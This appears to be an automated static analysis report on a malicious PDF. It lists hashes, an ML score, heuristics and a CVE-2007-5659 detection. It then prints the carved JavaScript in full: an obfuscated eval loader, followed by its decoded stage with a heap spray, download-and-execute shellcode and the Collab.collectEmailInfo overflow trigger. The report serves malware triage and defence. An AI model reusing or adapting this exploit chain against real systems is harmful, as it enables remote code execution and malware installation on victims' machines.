Malicious PDF — malware analysis report

Static analysis result for SHA-256 4cf60d130d54fcb1…

MALICIOUS

PDF

56.0 KB Created: 2012-08-08 20:34:46 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2013-08-12
MD5: e31c70f38d5a092d9ccc92922b84a4f1 SHA-1: 94045a7ca2abeb81a0dadeb9f5248144f6472373 SHA-256: 4cf60d130d54fcb1705d5381999b76b4d762017a9039851911b951c430b4e96d
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. It contains embedded JavaScript, suggesting it may attempt to download and execute a second-stage payload or exploit a vulnerability. The presence of JavaScript actions and streams points towards malicious scripting activity. While the document body is heavily obfuscated and unreadable, the heuristics and ML score strongly indicate malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9988

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0xDBE3 1725 bytes
SHA-256: aa0ff832873a2cc536262cba298dc15732e3d9a23e95bafab779ab94bc35f00c
Preview script
First 1,000 lines of the extracted script
var adgwqgfasdfasdfa="4G291G342"+"G96G330G303G360G"+"348G96G183G96G"+"117G117G177G30G27G3"+"54G291G342G96G"+"324G303G330G309G348G"+"312G96G183G96G34"+"5G348G342G138G324"+"G303G330G309G348"+"G312G177G30G27G306G333"+"G342G120G354G291G3"+"42G96G315G96G183G96G144"+"G177G96G315G96G180"+"G96G324G303G330G3"+"09G348G312G177G9"+"6G315G129G129G123G9"+"6G369G30G27G27G3"+"30G303G360G348G96"+"G183G96G336G291G3"+"42G345G303G219"+"G330G348G120G3"+"21G303G363G28"+"2G345G348G342G1"+"38G297G312G29"+"1G342G201G333G300"+"G303G195G348G120G3"+"15G123G123G138G"+"348G333G249G34"+"8G342G315G330G"+"309G120G147G162"+"G123G177G30G27G"+"27G315G306G120G3"+"30G303G360G348G1"+"38G324G303G330G3"+"09G348G312G96G180G96"+"G150G123G96G330"+"G303G360G348G96"+"G183G96G102G144"+"G102G129G330G303"+"G360G348G177G30G2"+"7G27G333G351G"+"348G336G351G348G96G"+"129G183G96G330G303G3"+"60G348G177G30G"+"27G375G30G27";
var sarwe = 'YZ{} ()[]^abcdefghijklmnopqrstuvwxyz_0123456789/!%+-*.,;"=<>&'+'\\';
var edrsd = ':ABCDEFGHIJKLMNOPQRSTUVWX';
var xzzxczx = edrsd+sarwe;
function fabfasfdsaf(cryptvzbdsvxzvfdsv){
var vzbdsvxzvfdsv="";
var posvzbdsvxzvfdsv=xzzxczx.indexOf(cryptvzbdsvxzvfdsv)-2;
if (posvzbdsvxzvfdsv<0)
{posvzbdsvxzvfdsv=posvzbdsvxzvfdsv+xzzxczx.length;}
vzbdsvxzvfdsv=xzzxczx.charAt(posvzbdsvxzvfdsv);
return vzbdsvxzvfdsv;}
function jehbsdfas(text){
var ndafvxzvas="";
var ln = text.length;
for (var i = 0;i<ln-1;i++)
{
ndafvxzvas += fabfasfdsaf(text[i]);
}
return ndafvxzvas;}
var dsfaef=getField("Text1");
var fgbfdg43wgwefewf=dsfaef.value;
var ffr=jehbsdfas(fgbfdg43wgwefewf);
function dgewrg(){
var a="adrgwefsgbfvew";
var b = "dsagwerglklsdkfgwe";
return a+b;
}
var eee = dgewrg();
var eeee=eee[5]+eee[11]+eee[16]+eee[22];
app[eeee](ffr);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 2) at offset 0x4E4 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \